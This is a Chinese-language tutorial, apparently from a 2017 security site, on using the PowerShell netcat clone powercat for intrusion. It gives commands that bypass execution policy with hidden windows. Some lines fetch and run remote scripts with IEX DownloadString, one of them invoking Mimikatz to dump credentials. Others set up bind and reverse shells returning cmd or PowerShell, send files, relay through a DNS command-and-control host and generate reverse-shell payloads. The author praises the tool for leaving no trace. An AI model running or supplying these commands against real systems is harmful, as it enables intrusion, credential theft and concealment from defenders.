powercat工具详细分析

简介: 本文讲的是powercat工具详细分析,这个工具出来两年了,但是好像很少人知道他。国外的大牛们用的比较多,国内的文章出现powercat关键字的寥寥无几,更别说有这款工具的详细用法了。
本文讲的是 powercat工具详细分析这个工具出来两年了,但是好像很少人知道他。国外的大牛们用的比较多,国内的文章出现 powercat 关键字的寥寥无几,更别说有这款工具的详细用法了。

0x01  powercat简介

NetCat 的Powershell 版本。作者的介绍也是这样写的,但是我觉得,powercat不管怎么样,也有比NetCat 强的一点,就是没有任何痕迹!来无影去无踪。关掉powershell 我们还是好朋友。

0x02 下载运行

直接克隆回本地:

git clone https://github.com/besimorhino/powercat.git

你直接执行的话是肯定执行不了的,因为你没有权限

powercat工具详细分析powercat工具详细分析

导入也导入不了,执行也执行不了。正常

在终端输入get-executionpolicy

powercat工具详细分析powercat工具详细分析

Restricted——默认的设置,不允许任何script运行

AllSigned——-只能运行经过数字证书签名的script

RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名

Unrestricted—-允许所有的script运行

要运行Powershell脚本程序,必须要将Restricted策略改成Unrestricted,而修改此策略必须要管理员权限。但是在渗透过成功,你要有管理员权限,那还玩什么?直接Mimikatz 读密码了,还在这费这劲。所以,权限绕过吧。

本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行脚本

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

用IEX下载远程PS1脚本回来权限绕过执行

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"

所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell 中执行:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

可以看到Powercat已经成功执行了

powercat工具详细分析powercat工具详细分析

0x03powercat基本操作

powercat 到底还是netcat的翻版,他们操作起来非常相似,我就不贴一堆命令,然后贴中文注释了,因为我的英文水平还停留在小学六年级的样子。大家需要的话自行google

powercat因为是netcat 的翻版,所以他们两个连接起来没有任何的问题,先来建立起一个简单的Socket 通信看看样子,总感觉很牛的样子

简单的socket通信

kali的ip:192.168.12.101

kali 下用netcat来执行命令

netcat -l -p 8888 -vv

Windows 测试机下执行powrcat 命令

powercat -c 192.168.12.101 -p 8888 -v

执行完这两道命令,kali 跟windows已经建立了一个基本的socket回话了,相当于一个聊天窗口,企鹅的功能,在悄悄秀一波英文水平,没骗你们,真的只会这一句

powercat工具详细分析powercat工具详细分析powercat工具详细分析

powercat命令解析

-c 指定一个ip地址
-p 指定一个端口
-v 显示详情

这是一个基本的socket 通信,相信会撸代码的同学都可以轻松写出这样的代码

一个基本的socket通信是没有可能满足我们的。继续深入

正向链接

windows主机ip:192.168.12.109

windows主机下执行:

powercat -l -p 8888 -e cmd.exe -v

kali下用Netcat执行:

netcat -vv 192.168.12.109 8888

成功返回换一个cmd命令行

powercat工具详细分析powercat工具详细分析

powercat命令解析

-l 监听模式,用于入站链接
-p 本地端口号
-e 程序重定向,跟nc一毛一样
-v 显示详情

反向链接

kali下执行:

netcat -l -p 8888 -v

windows主机下执行:

powercat -c 192.168.12.101 -p 8888 -e cmd.exe

成功反向链接回来

powercat工具详细分析powercat工具详细分析powercat工具详细分析powercat工具详细分析

来个牛的

上面可以跟nc配合,但是nc没有办法返回powershell,powershell就是在渗透过程中的一把利刃,而powercat刚刚好可以返回一个powershell

两台windows测试机的ip分别是192.168.12.108,192.168.12.109

ip192.168.12.109的机器上执行:

powercat -l -p 9999 -v

在另一台上执行:

powercat -c 192.168.12.109 -p 9999 -ep

powercat工具详细分析powercat工具详细分析

可以直接干一点坏坏的事情,比如说,下载个mimikatz,然后。。

powercat命令解析

-eq 返回powershell

0x04 Powercat其他操作

文件上传

这个不用说,基本这种连接的都支持

c:下新建一个test.txt的文件,写入hello word!

在有text.txt的机器执行:

powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v

另一台机器执行

powercat -l -p 9999 -of c:test.txt -v

我建议在这里加上-v参数,要不我们不知道文件有没有上传完,当上传完成的时候,直接Ctrl+c关闭连接,如果不关闭,可以继续向文件中写入文件

powercat工具详细分析powercat工具详细分析

这里并没有直接结束掉,而是又写入了一些文件,来看看在靶机中到底写入了什么

powercat工具详细分析

powercat命令解析

-i  指定要上传文件的绝对路径

-of 接受文件的路径以及名称

中继

这个功能也是基本都有的功能,不做演示,个人觉得用的不多,当然,做跳板另当别论。直接贴上官方的代码(借助google翻译):

TCP侦听器到TCP客户端中继:     powercat -l -p 8000 -r tcp:10.1.1.16:443TCP侦听器到UDP客户端中继:     powercat -l -p 8000 -r udp:10.1.1.16:53TCP侦听器到DNS客户端中继     powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.comTCP侦听器使用Windows默认DNS服务器到DNS客户端中继     powercat -l -p 8000 -r dns ::: c2.example.comTCP客户端到客户端中继     powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443TCP侦听器到侦听器中继     powercat -l -p 8000 -r tcp:9000

类似MSF的回弹功能

powercat这个回弹很牛,可正向可反向。

powercat -c 192.168.12.109 -p 9999 -e cmd -g

生成一个反向链接的payload,可以链接到192.168.12.1099999端口,这条命令之后是这个样子的= =

powercat工具详细分析powercat工具详细分析

这是powershell脚本,保存为.ps1的格式,运行吧

正向连接马:

powercat -l -p 8000 -e cmd -ge

坚挺本地的8000端口,然后等待链接。执行后:

powercat工具详细分析powercat工具详细分析

用法,没有尝试,应该与Empirepayload相似.

说句我的看法,个人觉得不是很实用,如果是你,有了这样的机会,你会选择用Powercat吗?要我,我直接上Metasploit,Empire了。

0x05 总结

Powercat的大部分功能都是可以用其他工具代替的,但是,不管怎么说,都是一种思路。他的存在肯定有他的意义,要不作者也不会无聊开发出这样的工具来。讲句心里话,我最看好他执行过后什么都不会留下。




原文发布时间为:2017年6月7日
本文作者:smileTT
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
2月前
|
监控 Java
如何使用VisualVM分析内存泄漏?具体流程看这里
如何使用VisualVM分析内存泄漏?具体流程看这里
|
安全 IDE Java
【Java应用诊断工具】「BTrace」基本概念和原理的介绍(1)
【Java应用诊断工具】「BTrace」基本概念和原理的介绍(1)
121 0
|
存储 监控 数据可视化
为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary?因为它是真强啊!(下)
为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary?因为它是真强啊!(下)
147 1
为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary?因为它是真强啊!(下)
|
存储 监控 数据可视化
为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary?因为它是真强啊!(上)
为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary?因为它是真强啊!
259 0
为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary?因为它是真强啊!(上)
|
数据可视化 Java Linux
jvm调优工具及案例分析 (上)
jvm调优工具及案例分析
411 0
jvm调优工具及案例分析 (上)
|
Java
jvm调优工具及案例分析 (下)
jvm调优工具及案例分析 (下)
231 0
jvm调优工具及案例分析 (下)
|
Arthas 监控 Java
XPocket插件使用案例合集——性能问题排查分析,一个XPocket足以!
XPocket插件使用案例合集——性能问题排查分析,一个XPocket足以!
信用评分系统运行原理上篇(3)
信用评分系统运行原理上篇(3)
136 0
信用评分系统运行原理上篇(3)
信用评分系统运行原理上篇(2)
信用评分系统运行原理上篇(2)
116 0
信用评分系统运行原理上篇(2)
|
算法 Java 测试技术
官方文档:Android应用程序运行的性能设计
  Android应用程序运行的移动设备受限于其运算能力,存储空间,及电池续航。由此,它必须是高效的。电池续航可能是一个促使你优化程序的原因,即使他看起来已经运行的足够快了。由于续航对用户的重要性,当电量耗损陡增时,意味这用户迟早会发现是由于你的程序。
836 0